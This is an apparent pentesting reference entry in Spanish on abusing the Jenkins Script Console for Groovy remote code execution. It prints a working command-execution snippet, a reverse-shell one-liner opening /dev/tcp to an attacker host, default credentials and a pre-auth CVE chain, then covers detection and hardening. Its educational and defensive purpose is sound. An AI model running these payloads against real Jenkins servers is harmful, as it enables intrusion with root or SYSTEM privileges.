Jenkins Script Console (Groovy RCE)
Jenkins es un servidor de integración continua omnipresente en entornos de desarrollo. Su punto débil clásico no es un fallo de memoria ni una inyección rebuscada, sino una funcionalidad legítima: la Script Console, una consola web que ejecuta scripts Groovy dentro del propio runtime del controlador de Jenkins. Como Jenkins suele correr en el contexto de root (Linux) o SYSTEM (Windows), conseguir acceso a esa consola equivale casi siempre a ejecución de comandos con los máximos privilegios de la máquina.
Mecanismo
Una vez autenticados como un usuario con permisos de administración (o incluso anónimo si la instancia está mal configurada), la consola vive en http://<ip>:8080/script. Groovy es un lenguaje sobre la JVM, así que desde ahí se pueden lanzar procesos del sistema operativo igual que lo haría un webshell. Un ejemplo mínimo para comprobar la ejecución:
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println soutPara saltar directamente a una reverse shell en un objetivo Linux basta con invocar Runtime.getRuntime():
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<lhost>/<lport>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()Contra un Jenkins sobre Windows se ejecuta cmd.exe de la misma forma ("cmd.exe /c dir".execute()) o se usa un cradle de PowerShell para no dejar cambios en disco.
Requisitos
Hace falta llegar a la consola de scripts, lo que normalmente exige credenciales de administrador. En la práctica se consiguen por credenciales por defecto o débiles (admin:admin), reutilización de contraseñas o registro abierto. Existen además RCE preautenticados dependientes de versión, como la cadena CVE-2019-1003000 (con CVE-2018-1999002) que evade el sandbox de Groovy en compilación y ejecuta código sin autenticar en Jenkins 2.137; sirven cuando la instancia es antigua y no se tienen credenciales.
Cómo detectarlo
La señal más clara es cualquier acceso a la URL /script o /scriptText: no hay ningún motivo operativo para que un usuario normal la visite. El log de auditoría de Jenkins (con el plugin Audit Trail) registra el uso de la consola; a nivel de host, delata el ataque ver el proceso de Java de Jenkins engendrando hijos como /bin/bash, cmd.exe o powershell.exe, algo que un servidor de CI legítimo casi nunca hace fuera de sus propios jobs.
Defensa. Restringir la consola de scripts a administradores mediante la matriz de autorización, deshabilitar el acceso anónimo y el registro abierto, ejecutar Jenkins con una cuenta de servicio de mínimos privilegios (no root/SYSTEM) y mantenerlo actualizado para cerrar los RCE preautenticados. Relacionado con inyección de comandos, RCE en Splunk y despliegue de WAR malicioso.